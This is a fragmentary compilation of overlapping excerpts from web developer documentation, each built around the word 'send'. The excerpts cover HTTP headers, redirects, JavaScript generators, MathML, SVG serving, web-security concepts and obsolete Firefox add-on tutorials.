send the feature-policy http header with the response of a page. the value of this header is a policy to be enforced by the browser for the given page. it has the following structure. feature-policy: <feature name> <allowlist of origin(s)> for example, to block all content from using the geolocation api across your site: feature-policy: geolocation 'none' several features can be controlled at the ...
...policy http header with the response of a page. the value of this header is a policy to be enforced by the browser for the given page. it has the following structure. feature-policy: <feature name> <allowlist of origin(s)> for example, to block all content from using the geolocation api across your site: feature-policy: geolocation 'none' several features can be controlled at the same time by
sending the http header with a semicolon-separated list of policy directives, or by
sending a separate header for each policy. for example, the following are equivalent: feature-policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *; feature-policy: unsized-media 'none' feature-policy: geolocation 'self' https://example.com feature-policy: camera *; the iframe allow attrib...
... a policy that disables all the features. this approach ensures that none of the functionality is introduced. when applying a policy to existing content, testing is likely required to verify it continues to work as expected. this is especially important for embedded or third-party content that you do not control. to turn on the enforcement of all the best practices, specify the policy as below. ...
DPR - HTTP
the dpr header is a client hints headers which represents the client device pixel ratio (dpr), which is the the number of physical device pixels corresponding to every css pixel. header type request header forbidden header name ? note: client hints are accessible only on secure origins (via tls). ...
...ls corresponding to every css pixel. header type request header forbidden header name ? note: client hints are accessible only on secure origins (via tls). server has to opt in to receive dpr header from the client by
sending accept-ch and accept-ch-lifetime response headers. ...
...re origins (via tls). server has to opt in to receive dpr header from the client by
sending accept-ch and accept-ch-lifetime response headers. syntax dpr: <number> examples server first needs to opt in to receive dpr header by
sending the response headers accept-ch containing dpr and accept-ch-lifetime. ...
ETag - HTTP
additionally, etags help prevent simultaneous updates of a resource from overwriting each other ("mid-air collisions"). if the resource at a given url changes, a new etag value must be generated. a comparison of them can determine whether two representations of a resource are the same. etags are therefore similar to fingerprints, and might also be used for tracking purposes by some servers. ...
...25fcc55e4d42a148795d9f25f89d4" if the hashes don't match, it means that the document has been edited in-between and a 412 precondition failed error is thrown. caching of unchanged resources another typical use of the etag header is to cache resources that are unchanged. ...
...tag set), and it is stale (too old to be considered usable), the client will
send the value of its etag along in an if-none-match header field: if-none-match: "33a64df551425fcc55e4d42a148795d9f25f89d4" the server compares the client's etag (sent with if-none-match) with the etag for its current version of the resource, and if both values match (that is, the resource has not changed), the server
sends back a 304 not modified status, without a body, which tells the client that the cached version of the response is still good to use (fresh). specifications specification title rfc 7232, section 2.3: etag hypertext transfer protocol (http/1.1): conditional requests ...
Expect - HTTP
expectation defined in the specification is expect: 100-continue, to which the server shall respond with: 100 if the information contained in the header is sufficient to cause an immediate success, 417 (expectation failed) if it cannot meet the expectation; or any other 4xx status otherwise. for example, the server may reject a request if its content-length is too large. ...
...uest if its content-length is too large. no common browsers
send the expect header, but some other clients such as curl do so by default. header type request header forbidden header name yes syntax no other expectations except "100-continue" are specified currently. expect: 100-continue directives 100-continue informs recipients that the client is about to
send a (presumably large) message body in this request and wishes to receive a 100 (continue) interim response. examples large message body a client
sends a request with a expect header and waits for the server to respond before
sending the message body. put /somewhere/fun http/1.1 host: origin.example.com content-type: video/h264 content-length: 1234567890987 expect: 100-continue the server no...
...les large message body a client
sends a request with a expect header and waits for the server to respond before
sending the message body. put /somewhere/fun http/1.1 host: origin.example.com content-type: video/h264 content-length: 1234567890987 expect: 100-continue the server now checks the request headers and may respond with a 100 (continue) response to instruct the client to go ahead and
send the message body, or it will
send a 417 (expectation failed) status if any of the expectations cannot be met. specifications specification title rfc 7231, section 5.1.1: expect hypertext transfer protocol (http/1.1): semantics and content ...
Referrer-Policy - HTTP
stays the same (http→http, https→https) or improves (http→https), but isn't sent to less secure destinations (https→http). there is effort from browsers in moving to a stricter default value, namely strict-origin-when-cross-origin (see https://github.com/whatwg/fetch/pull/952), consider using this value (or a stricter one), if possible, when changing the referrer-policy. origin only
send the origin of the document as the referrer. for example, a document at https://example.com/page.html will
send the referrer https://example.com/. origin-when-cross-origin
send the origin, path, and query string when performing a same-origin request, but only
send the origin of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests w...
... origin of the document as the referrer. for example, a document at https://example.com/page.html will
send the referrer https://example.com/. origin-when-cross-origin
send the origin, path, and query string when performing a same-origin request, but only
send the origin of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will
send no referrer information. strict-origin only
send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't
send it to a less secure destination (https→http). ...
...nd the origin of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will
send no referrer information. strict-origin only
send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't
send it to a less secure destination (https→http). strict-origin-when-cross-origin
send the origin, path, and querystring when performing a same-origin request, only
send the origin when the protocol security level stays the same while performing a cross-origin request (https→https), and
send no header to any less-secure destinations (https→http). unsafe-url
send the origin, path, and query string when performing any request, regardless of security. this policy will leak po...
Upgrade - HTTP
a websocket. http/2 explicitly disallows the use of this mechanism/header; it is specific to http/1.1. header type request header, response header forbidden header name yes overview the upgrade header field may be used by clients to invite a server to switch to one (or more) of the listed protocols, in descending preference order. for example, the client might
send a get request as shown, listing the preferred protocols to switch to (in this case "example/1" and "foo/2"): get /index.html http/1.1 host: www.example.com connection: upgrade upgrade: example/1, foo/2 note: connection: upgrade must be set whenever upgrade is sent. the server can choose to ignore the request, for any reason, in which case it should just respond as though the upgrade header ...
...et /index.html http/1.1 host: www.example.com connection: upgrade upgrade: example/1, foo/2 note: connection: upgrade must be set whenever upgrade is sent. the server can choose to ignore the request, for any reason, in which case it should just respond as though the upgrade header had not been sent (for example, with a 200 ok). ...
...y reason, in which case it should just respond as though the upgrade header had not been sent (for example, with a 200 ok). if the server decides to upgrade the connection, it must:
send back a 101 switching protocols response status with an upgrade header that specifies the protocol(s) being switched to. for example: http/1.1 101 switching protocols upgrade: foo/2 connection: upgrade
send a response to the original request using the new protocol (the server may only switch to a protocol with which it can complete the original request). a server may also
send the header as part of a 426 upgrade required response, to indicate that the server won't perform the request using the current protocol, but might do so if the protocol is changed. the client can then request a protocol c...
X-Frame-Options - HTTP
-security-policy http header has a frame-ancestors directive which you can use instead. examples note: setting x-frame-options inside the <meta> element is useless! for instance, <meta http-equiv="x-frame-options" content="deny"> has no effect. do not use it! x-frame-options works only by setting through the http header, as in the examples below. ...
...rough the http header, as in the examples below. configuring apache to configure apache to
send the x-frame-options header for all pages, add this to your site's configuration: header always set x-frame-options "sameorigin" to configure apache to set the x-frame-options deny, add this to your site's configuration: header set x-frame-options "deny" configuring nginx to configure nginx to
send the x-frame-options header, add this either to your http, server or location configuration: add_header x-frame-options sameorigin always; configuring iis to configure iis to
send the x-frame-options header, add this to your site's web.config file: <system.webserver> ... <httpprotocol> <customheaders> <add name="x-frame-options" value="sameorigin" /> </customheaders> </ht...
...me-options header, add this to your site's web.config file: <system.webserver> ... <httpprotocol> <customheaders> <add name="x-frame-options" value="sameorigin" /> </customheaders> </httpprotocol> ... </system.webserver> or see this microsoft support article on setting this configuration using the iis manager user interface. configuring haproxy to configure haproxy to
send the x-frame-options header, add this to your front-end, listen, or backend configuration: rspadd x-frame-options:\ sameorigin alternatively, in newer versions: http-response set-header x-frame-options sameorigin configuring express to configure express to
send the x-frame-options header, you can use helmet which uses frameguard to set the header. add this to your server configuration: con...
An overview of HTTP - HTTP
hat acts on the behalf of the user. this role is primarily performed by the web browser; other possibilities are programs used by engineers and web developers to debug their applications. the browser is always the entity initiating the request. it is never the server (though some mechanisms have been added over the years to simulate server-initiated messages). to present a web page, the browser
sends an original request to fetch the html document that represents the page. it then parses this file, making additional requests corresponding to execution scripts, layout information (css) to display, and sub-resources contained within the page (usually images and videos). the web browser then mixes these resources to present to the user a complete document, the web page. scripts executed by the b...
...ver. this creates sessions, despite basic http being a state-less protocol. this is useful not only for e-commerce shopping baskets, but also for any site allowing user configuration of the output. http flow when a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps: open a tcp connection: the tcp connection is used to
send a request, or several, and receive an answer. the client may open a new connection, reuse an existing connection, or open several tcp connections to the servers.
send an http message: http messages (before http/2) are human-readable. with http/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. for example: get / htt...
...or requests. optionally, a body containing the fetched resource. apis based on http the most commonly used api based on http is the xmlhttprequest api, which can be used to exchange data between a user agent and a server. the modern fetch api provides the same features with a more powerful and flexible feature set. another api, server-sent events, is a one-way service that allows a server to
send events to the client, using http as a transport mechanism. using the eventsource interface, the client opens a connection and establishes event handlers. the client browser automatically converts the messages that arrive on the http stream into appropriate event objects, delivering them to the event handlers that have been registered for the events' type if known, or to the onmessage event handle...
Redirections in HTTP - HTTP
a whole web site/application. http has a special kind of response, called a http redirect, for this operation. redirects accomplish numerous goals: temporary redirects during site maintenance or downtime permanent redirects to preserve existing links/bookmarks after changing the site's urls, progress pages when uploading a file, etc. principle in http, redirection is triggered by a server
sending a special redirect response to a request. redirect responses have status codes that start with 3, and a location header holding the url to redirect to. when browsers receive a redirect, they immediately load the new url provided in the location header. besides the small performance hit of an additional round-trip, users rarely notice the redirection. there are several types of redirects, s...
...e old urls to the new ones. this technique does work for internal links, but try to avoid having internal redirects. a redirect has a significant performance cost (as an extra http request occurs). if you can avoid it by correcting internal links, you should fix those links instead. temporary responses to unsafe requests unsafe requests modify the state of the server and the user shouldn't re
send them unintentionally. typically, you don't want your users to re
send put, post or delete requests. if you serve the response as the result of this request, a simple press of the reload button will re
send the request (possibly after a confirmation message). in this case, the server can
send back a 303 (see other) response for a url that will contain the right information. if the reload button is...
...ple.com/$1 permanent; iis in iis, you use the <httpredirect> element to configure redirections. redirection loops redirection loops happen when additional redirections follow the one that has already been followed. in other words, there is a loop that will never be finished and no page will ever be found. most of the time this is a server problem, and if the server cannot detect it, it will
send back a 500 internal server error. if you encounter such an error soon after modifying a server configuration, this is likely a redirection loop. sometimes, the server won't detect it: a redirection loop can spread over several servers which each don't have the full picture. in this case, browsers will detect it and display an error message. firefox displays: firefox has detected that the serve...
yield - JavaScript
syntax [rv] = yield [expression] expression optional defines the value to return from the generator function via the iterator protocol. ...
...e is passed to the generator's next() method, that value becomes the value returned by the generator's current yield operation. between the generator's code path, its yield operators, and the ability to specify a new starting value by passing it to generator.prototype.next(), generators offer enormous power and control. unfortunately, next() is asymmetric, but that can’t be helped: it always
sends a value to the currently suspended yield, but returns the operand of the following yield. examples using yield the following code is the declaration of an example generator function. function* countapplesales () { let salelist = [3, 7, 5] for (let i = 0; i < salelist.length; i++) { yield salelist[i] } } once a generator function is defined, it can be used by constructing an itera...
...is defined, it can be used by constructing an iterator as shown. let applestore = countapplesales() // generator { } console.log(applestore.next()) // { value: 3, done: false } console.log(applestore.next()) // { value: 7, done: false } console.log(applestore.next()) // { value: 5, done: false } console.log(applestore.next()) // { value: undefined, done: true } you can also
send a value with next(value) into the generator. 'step' evaluates as a return value in this syntax [rv] = yield [expression] function* counter(value) { let step; while (true) { step = yield ++value; if (step) { value += step; } } } const generatorfunc = counter(0); console.log(generatorfunc.next().value); // 1 console.log(generatorfunc.next().value); // 2 console.log(generato...
Authoring MathML - MathML
in thunderbird, you can use the "insert html" command to paste your html+mathml code. mathbird is a convenient add-on for thunderbird to insert such mathml expressions using the asciimath input syntax. moreover, a latex-to-mathml input box has also bee...
...e</title> </head> <body> <h1>xhtml+mathml example</h1> <p> square root of two: <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html> mathml in email and instant messaging clients modern mail clients may
send and receive emails in the html5 format and thus can use mathml expressions. be sure to have the "
send as html" and "view as html" options enabled. in thunderbird, you can use the "insert html" command to paste your html+mathml code. mathbird is a convenient add-on for thunderbird to insert such mathml expressions using the asciimath input syntax. moreover, a latex-to-mathml input box has also been integrated into seamonkey since version 2.28 and into thunderbird since version 31. again, the way m...
...t add-on for thunderbird to insert such mathml expressions using the asciimath input syntax. moreover, a latex-to-mathml input box has also been integrated into seamonkey since version 2.28 and into thunderbird since version 31. again, the way mathml is handled and the quality of the mathml rendering depends on the mail client. even if your browser supports mathml, your webmail may prevent you to
send or receive mails with mathml inside. gecko-based instant messaging clients can integrate a javascript-based text-to-mathml converter (mentioned below) and then render the mathml expressions generated from the (plaintext) instant messages. for example, there is an instantbird add-on that handles latex expressions. conversion from a simple syntax there are many simple notations (e.g. wiki or mar...
Understanding latency - Web Performance
, requested resources will appear almost immediately. on a connection with high latency, there will be a discernible delay between the time that a request is sent, and the resources are returned. we can determine the amount of latency by measuring the speed with which the data moves from one network location to another. latency can be measured one way, for example, the amount of time it takes to
send a request for resources, or the length of the entire round-trip from the browser’s request for a resource to the moment when the requested resource arrives at the browser. network throttling to emulate the latency of a low bandwidth network, you can use developer tools and switch to a lower end network connection. in the developer tools, under the network table, you can switch the throttli...
... a low bandwidth network, you can use developer tools and switch to a lower end network connection. in the developer tools, under the network table, you can switch the throttling option to 2g, 3g, etc. different browser developer tools have different preset options, the characteristics emulated include download speed, upload speed, and minimum latency, or the minimum amount of type it takes to
send a packet of data. the approximate values of some presets include: selection download speed upload speed minimum latency (ms) gprs 50 kbps 20 kbps 500 regular 2g 250 kbps 50 kbps 300 good 2g 450 kbps 150 kbps 150 regular 3g 750 kbps 250 kbps 100 good 3g 1.5 mbps 750 kbps 40 reg...
...one. connecting is the time it takes for a tcp handshake to complete. like dns, the greater the number of server connections needed, the more time is spend creating server connections. the tls handshake is how long it took to set up a secure connection. while a tls handshake does take longer to connect than an insecure connection, the additional time needed for a secure connection is worth it.
sending is the time taken to
send the http request to the server. waiting is disk latency, the time it took for the server to complete its response. disk latency used to be the main area of performance concern. however server performance has improved as computer memory, or cpu, has improved. depending on the complexity of what is needed from the server, this can still be an issue. receiving is the t...
Structural overview of progressive web apps - Progressive web apps (PWAs)
tion and solid performance while keeping all the benefits of the web. being linkable, progressive, and responsive by design it's important to remember the pwa advantages and keep them in mind when designing the application. the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and
send a url to someone if you want to share it. progressive: start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better...
... var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if (result === 'granted') { randomnotification(); } }); }); the randomnotification() function follows, rounding out the last of the code in the ...
... content += entry; }; document.getelementbyid('content').innerhtml = content; then it registers a service worker: if ("serviceworker" in navigator) { navigator.serviceworker.register("/pwa-examples/js13kpwa/sw.js"); } after that, the app adds a handler for clicks on a button whose id is notifications; this handler requests permission to
send notifications to the user, then generates and
sends a random notification. var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if (result === 'granted') { randomnotification(); } }); }); the randomnotification() function follows, rounding out the last of the code in the file: function randomnotification() { var random...
Getting started - SVG: Scalable Vector Graphics
refox cannot load gzip-compressed svg from the local computer. avoid gzip-compressed svg except when you are publishing to a webserver that you know will serve it correctly (see below). a word on webservers now that you have an idea of how to create basic svg files, the next stage is to upload them to a webserver. there are some gotchas at this stage though. for normal svg files, servers should
send the http headers: content-type: image/svg+xml vary: accept-encoding for gzip-compressed svg files, servers should
send the http headers: content-type: image/svg+xml content-encoding: gzip vary: accept-encoding you can check that your server is
sending the correct http headers with your svg files by using the network monitor panel or a site such as websniffer.cc. submit the url of one of your ...
...if you have problems convincing them to correctly configure their servers for svg, there may be ways to do it yourself. see the server configuration page on the w3.org for a range of simple solutions. ...
...values given above, then you should contact your web host. if you have problems convincing them to correctly configure their servers for svg, there may be ways to do it yourself. see the server configuration page on the w3.org for a range of simple solutions. server misconfiguration is a very common reason for svg failing to load, so make sure you check yours. if your server is not configured to
send the correct headers with the svg files it serves, then firefox will most likely show the markup of the files as text or encoded garbage, or even ask the viewer to choose an application to open them. « previousnext » ...
Types of attacks - Web security
forming other malicious operations on the user's machine under the guise of the vulnerable site. xss attacks can be put into three categories: stored (also called persistent), reflected (also called non-persistent), or dom-based. stored xss attacks the injected script is stored permanently on the target servers. the victim then retrieves this malicious script from the server when the browser
sends a request for data. reflected xss attacks when a user is tricked into clicking a malicious link, submitting a specially crafted form, or browsing to a malicious site, the injected code travels to the vulnerable website. the web server reflects the injected script back to the user's browser, such as in an error message, search result, or any other response that includes data sent to the server ...
...post endpoints should not interchangeably accept get requests with parameters in the query string. a csrf token should be included in <form> elements via a hidden input field. this token should be unique per user and stored (for example, in a cookie) such that the server can look up the expected value when the request is sent. for all non-get requests th...
...ack a session after the user logs in. alternatively, if the parent domain does not use http strict-transport-security with includesubdomains set, a user subject to an active mitm (perhaps connected to an open wifi network) could be served a response with a set-cookie header from a non-existent sub-domain. the end result would be much the same, with the browser storing the illegitimate cookie and
sending it to all other pages under example.com. session fixation should primarily be mitigated by regenerating session cookie values when the user authenticates (even if a cookie already exists) and by tieing any csrf token to the user. session side-jacking browser hijacking malware ...
Add a Context Menu Item - Archive of obsolete content
the context-menu module provides a number of simple built-in contexts, including this selectioncontext(), which means: display the item when something on the page is selected. if these simple contexts aren't enough, you can define more sophisticated contexts using scripts. contentscript this attaches a script to the item. ...
...this is a url pointing to a 16x16 icon that's displayed at the left side of the context menu item. ...
Displaying annotations - Archive of obsolete content
ciated with them, and a panel to display the annotations. matcher page-mod matcher content script the content script for the matcher page-mod is initialized with a list of all the annotations that the user has created. when a page is loaded the matcher searches the dom for elements that match annotations. if it finds any it binds functions to that element's mouseenter and mouseleave events to
send messages to the main module, asking it to show or hide the annotation. like the selector, the matcher also listens for the window's unload event and on unload
sends a detach message to the main module, so the add-on can clean it up. the complete content script is here: self.on('message', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annotation.url...
...nction () { detachworker(this, matchers); }); matchers.push(worker); } }); when a new page is loaded the function assigned to onattach is called. this function: initializes the content script instance with the current set of annotations provides a handler for messages from that content script, handling the three messages - show, hide and detach - that the content script might
send adds the worker to an array, so we it can
send messages back later. then in the module's scope implement a function to update the matcher's workers, and edit handlenewannotation to call this new function when the user enters a new annotation: function updatematchers() { matchers.foreach(function (matcher) { matcher.postmessage(simplestorage.storage.annotations); }); } function handle...
Storing annotations - Archive of obsolete content
tion-text') .text(storedannotation.annotationtext); annotationlist.append(annotationhtml); }); }); it builds the dom for the panel from the array of annotations it is given. the user will be able to click links in the panel, but we want to open them in the main browser window rather than the panel. so the content script binds a click handler to the links which will
send the url to the add-on. save this file in data/list as annotation-list.js. annotation list html and css here's the html for the annotation list: <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>saved annotations</title> <link rel="stylesheet" type="text/css" href="annotation-list.css" /> </head> <body> <div id="annotation-list"> </div> <div id...
...st/annotation-list.js')], contentscriptwhen: 'ready', onshow: function() { this.postmessage(simplestorage.storage.annotations); }, onmessage: function(message) { require('sdk/tabs').open(message); } }); since this panel's content script uses jquery we will pass that in too: again, make sure the name of it matches the version of jquery you downloaded. when the panel is shown we
send it the array of stored annotations. when the panel
sends us a url we use the tabs module to open it in a new tab. finally we need to connect this to the widget's right-click message: var widget = widgets.widget({ id: 'toggle-switch', label: 'annotator', contenturl: data.url('widget/pencil-off.png'), contentscriptwhen: 'ready', contentscriptfile: data.url('widget/widget.js') }); widge...
Display a Popup - Archive of obsolete content
n({ id: "show-panel", label: "show panel", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); // show the panel when the user clicks the button. function handleclick(state) { text_entry.show(); } // when the panel is displayed it generated an event called // "show": we will listen for that event and when it happens, //
send our own "show" event to the panel's script, so the // script can prepare the panel for display. text_entry.on("show", function() { text_entry.port.emit("show"); }); // listen for messages called "text-entered" coming from // the content script. the message payload is the text the user // entered. // in this implementation we'll just log the text to the console. text_entry.port.on("text-entered...
...emit("show"); }); // listen for messages called "text-entered" coming from // the content script. the message payload is the text the user // entered. // in this implementation we'll just log the text to the console. text_entry.port.on("text-entered", function (text) { console.log(text); text_entry.hide(); }); the content script "get-text.js" looks like this: // when the user hits return,
send the "text-entered" // message to main.js. // the message payload is the contents of the edit box. var textarea = document.getelementbyid("edit-box"); textarea.addeventlistener('keyup', function onkeyup(event) { if (event.keycode == 13) { // remove the newline. text = textarea.value.replace(/(\r\n|\n|\r)/gm,""); self.port.emit("text-entered", text); textarea.value = ''; } }, fa...
Modifying Web Pages Based on URL - Archive of obsolete content
", contentscriptfile: self.data.url("jquery-1.7.min.js"), contentscript: '$("body").html("<h1>page matches ruleset</h1>");' }); note, though, that you can't load a script from a web site. the script must be loaded from data. communicating with the content script your add-on script and content scripts can't directly access each other's variables or call each other's functions, but they can
send each other messages. to
send a message from one side to the other,
sender calls port.emit() and receiver listens using port.on(). in the content script, port is a property of the global self object. in the add-on script, you need to listen for the onattach event to get passed a worker object that contains port. let's rewrite the example above to pass a message from the add-on to the conten...
...pt. the message will contain the new content to insert into the document. the content script now needs to look like this: // "self" is a global object in content scripts // listen for a message, and replace the document's // contents with the message payload. self.port.on("replacepage", function(message) { document.body.innerhtml = "<h1>" + message + "</h1>"; }); in the add-on script, we'll
send the content script a message inside onattach. // import the page-mod api var pagemod = require("sdk/page-mod"); // import the self api var self = require("sdk/self"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscriptfile: self.data.url("my-script.js"), // se...
Finding window handles - Archive of obsolete content
nswindowstring = basewindow.nativehandle; components.utils.import('resource://gre/modules/ctypes.jsm'); var objc = ctypes.open(ctypes.libraryname('objc')); // types let id = ctypes.voidptr_t; let sel = ctypes.voidptr_t; // constants let nil = ctypes.voidptr_t(0); //common functions let sel_registername = objc.declare('sel_registername', ctypes.default_abi, sel, ctypes.char.ptr); let objc_msg
send = objc.declare('objc_msg
send', ctypes.default_abi, id, id, sel, '...'); /* https://developer.apple.com/library/mac/documentation/cocoa/reference/applicationkit/classes/nsapplication_class/index.html#//apple_ref/occ/instp/nsapplication/orderfront: * [nswindowptr orderfront:nil] */ var orderfront = sel_registername('orderfront:'); var nswindowptr = ctypes.voidptr_t(ctypes.uint64(nswindowstrin...
...the string is made into an actual gdkwindow* like this: var gdkwindow = ctypes.structtype('gdkwindow'); var gdkwindowptrstring = basewindow.nativehandle; var g...
How to convert an overlay extension to restartless - Archive of obsolete content
in such cases, request.readystate == 4, request.status == 0 and request.response will evaluate to true. if your file is text, use "text" as your data type. if yo...
...t preferences file to your chrome mapping, and then do the following line once during your startup: services.scriptloader.loadsubscript("chrome://myaddon/content/defaultprefs.js", {pref:setdefaultpref} ); that's it. once you've got the machinery to load and save preferences without having to jump through the various pref type hoops the actual preferences api
sends you through, loading the actual preferences file is one line. i'd generally still recommend using the type specific functions for each pref individually, but to load the defaults just use the generic functions above and it's quite simple. the other generic functions are provided above in case you need them. unfortunately, the built in apis for dealing with preferences are missing this basic stuf...
Install Manifests - Archive of obsolete content
n be hijacked by a malicious update.rdf file, enabling malware to infiltrate the user's computer. alternatively, you could host your extension on amo and leave out the updateurl completely. this provides secure updates automatically. for security reasons, gecko 1.9 applications require that if you specify an updateurl, it must be an https url, or you must include an updatekey. your server must
send this file as text/rdf, text/xml or application/rdf+xml or the update checker may not work. the add-on manager will substitute the following values into this url in case you wish to generate the response rdf dynamically, such as using php or cgi: %req_version% the version of the request. currently 1 %item_id% the id of the add-on being updated %item_version% t...
..., ignore or strict. examples <em:updateurl>https://www.example.com/update.cgi?id=%item_id%&version=%item_version%</em:updateurl> <em:updateurl>https://www.example.com/extension/windows.rdf</em:updateurl> for add-ons hosted on addons.mozilla.org: you may not specify an updateurl property. by default, mozilla applications using the add-on manager (such as firefox and thunderbird) will
send update requests to addons.mozilla.org using the default web service. every time you upload a new version of your add-on or change its compatibility parameters through the author interface, your update manifest will be generated automatically. format of the update manifest: the update manifest is a rdf/xml datasource. for an example of an update manifest, see extension versioning, update and comp...
Jetpack Processes - Archive of obsolete content
ndowed with any real power. note: the above statement is not currently true, as js-ctypes is now provided to jetpack processes as of bug 588563. a mechanism to optionally disable this feature has been proposed in bug 614351. privileged apis when script is evaluated in a jetpack process via a call to nsijetpack.evalscript(), the script's global scope is endowed with the following privileged apis:
sendmessage(amessagename [, v1 [, v2 [, ...]]]) similar to nsijetpack.
sendmessage(), this function asynchronously
sends a message to the chrome process. callmessage(amessagename [, v1 [, v2 [, ...]]]) this function is like
sendmessage() but
sends the message synchronously. it returns an array whose elements are the return values of each receiver in the chrome process that was triggered by the message.
...unregisterreceiver(amessagename, areceiver) similar to nsijetpack.unregisterreceiver(), this function unregisters a callback previously registered with registerreceiver(). ...
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
se it outside the menu element. instead, the menupopup element is a direct child of the root element and we invoke it using its id attribute, which we set as the value for the context attribute on any other xul element. when we right-click on that xul element, we reference that menupopup element by its id, and display its contents as a contextual menu. listing 12 shows an example. <button label="
send" oncommand="
send();" context="button-context"/> <menupopup id="button-context"> <menuitem label="
send with new tab" oncommand="
sendinnewtab();"/> </menupopup> buttons buttons that users can click on are defined using the button element. to show one with an icon as shown in figure 8, define an image's uri as the value for the image attribute. note: to see this sample in operation, use any im...
...want to insert long strings that automatically wrap to the window’s width, you can use the flex attribute as shown in listing 14, which will automatically expand it; in this case you don't set the value using the value attribute, instead you should place it in the contents of the element. figure 10 shows the output from this listing. <hbox> <label flex="1"> proceeding with this action will
send your personal information to a server. are you sure you want to proceed? </label> </hbox> listing 14: handling long text in a label figure 10: output from listing 14 shortening labels between the label element and the label attribute on other xul elements, there can be a lot of labeled elements in xul. a common attribute that can be set on all of them is the crop attribute. by applying ...
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
n a dialog (listing 29). except for asynchronous processes, all processing stops while the dialog is up, so this technique is useful when you want to pin down a value that can vary during a process. listing 29: check the value of variable foo alert(foo); dump in a windows environment, you can launch firefox with the -console argument, which opens a dump console. using the dump method, you can
send text to the dump console (listing 30). the text output being sent to the console does not suspend any other processes, and this is most useful when there’s a high volume of messages being output. in order to use the dump method most effectively, you’ll need to follow the recommendations in “setting up your development environment”. note that in a windows environment, non-latin text sent t...
... listing 31: function to output messages to the error console function log(atext) { var console = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); console.logstringmessage(atext); } components.utils.reporterror method another way to output text to the same error console is with the components.utils.reporterror method. this will
send its output to the “error” panel of the error console. where can i learn more about the xpcom interface? fixme: add links: the mozilla development center has extensive documentation on the nsisessionstore interface we’ve discussed in this section6. in general, details (idl) on the xpcom interface are available from the mozilla cross-reference7, which includes source code with full-tex...
Creating a dynamic status bar extension - Archive of obsolete content
ur extension is first added to a browser window, and by the interval handler to periodically update the display. refreshinformation: function() { var httprequest = null; var fullurl = 'http://quote.yahoo.com/d/quotes.csv?f=sl1d1t1c1ohgv&e=.csv&s=goog'; // ... httprequest = new xmlhttprequest(); httprequest.open('get', fullurl, true); httprequest.onload = inforeceived; httprequest.
send(null); } the httprequest variable will contain an xmlhttprequest object. this object is used to configure and run an http request on a web server, which we'll use to fetch the stock quote data. the fullurl variable is the complete url to use when requesting a stock quote. in this case, we're using yahoo's comma-separated values return to fetch easily-parsed stock quote data for google (ticker sy...
...ng our request. we open the request, specifying that we wish to perform an http "get" command with the url fullurl. the true boolean value in the third parameter indicates that we want to process the request asynchronously. setting the httprequest.onload property to our inforeceived() function configures the request to call inforeceived() when the response is received from the server. finally, we
send the request to the server and return. inforeceived() when the server responds to our request, our the inforeceived() function, which is embedded inside refreshinformation(), gets called automatically. we embed this function inside refreshinformation() so that its variable scope includes the variables used by that function. due to the way javascript works, if inforeceived() were outside refreshinf...
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
s status when the tinderbox status changes. the first step is to write a function that queries the tinderbox server and retrieves the current status. var gxmlhttprequest; function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.
send(null); } xmlhttprequest is an interface in mozilla for retrieving documents via http. although it is designed to retrieve xml content and parse it into a dom, it can retrieve (but not parse) other kinds of content as well. in this case we use it to retrieve an html page containing a brief summary of the current tinderbox state. that document gets updated by the tinderbox server every time a bui...
...result of their last build attempt. xmlhttprequest is easy to use in the simple case we have here. we use new to create a new instance of it, set the instance's onload property to updatetinderboxstatus(), the function we want to execute when the document finishes loading, call its open method with the type of http request we want to make and the url of the document to retrieve, and then call its
send method to
send the request. xmlhttprequest will retrieve the document located at the given url and call the updatetinderboxstatus() function when it is done. notice that we defined the instance of xmlhttprequest as a global variable. this is because we need to reference it in the updatetinderboxstatus() function as well as the current function, and we can't pass the object from one function to ...
popChallengeResponse - Archive of obsolete content
may be omitted in any -- subsequent challenge in popodeckeychallcontent (if omitted, -- then the owf used in the immediately preceding challenge is -- to be used). witness octet string, -- the result of applying the one-way function (owf) to a -- randomly-generated integer, a. [note that a different -- integer must be used for each challenge.]
sender generalname, -- the name of the
sender. key octet string, -- the public key used to encrypt the challenge. this will allow -- the client to find the appropriate key to do the decryption. challenge octet string -- the encryption (under the public key for which the cert. -- request is being made) of rand, where rand is spe...
...e challenge. this will allow -- the client to find the appropriate key to do the decryption. challenge octet string -- the encryption (under the public key for which the cert. -- request is being made) of rand, where rand is specified as -- rand ::= sequence { -- int integer, -- - the randomly-generated integer a (above) --
senderhash octet string -- - the result of applying the one-way function (owf) to -- - the
sender's general name -- } -- the size of "int" must be small enough such that "rand" can be -- contained within a single pkcs #1 encryption block. } ...
JavaScript crypto - Archive of obsolete content
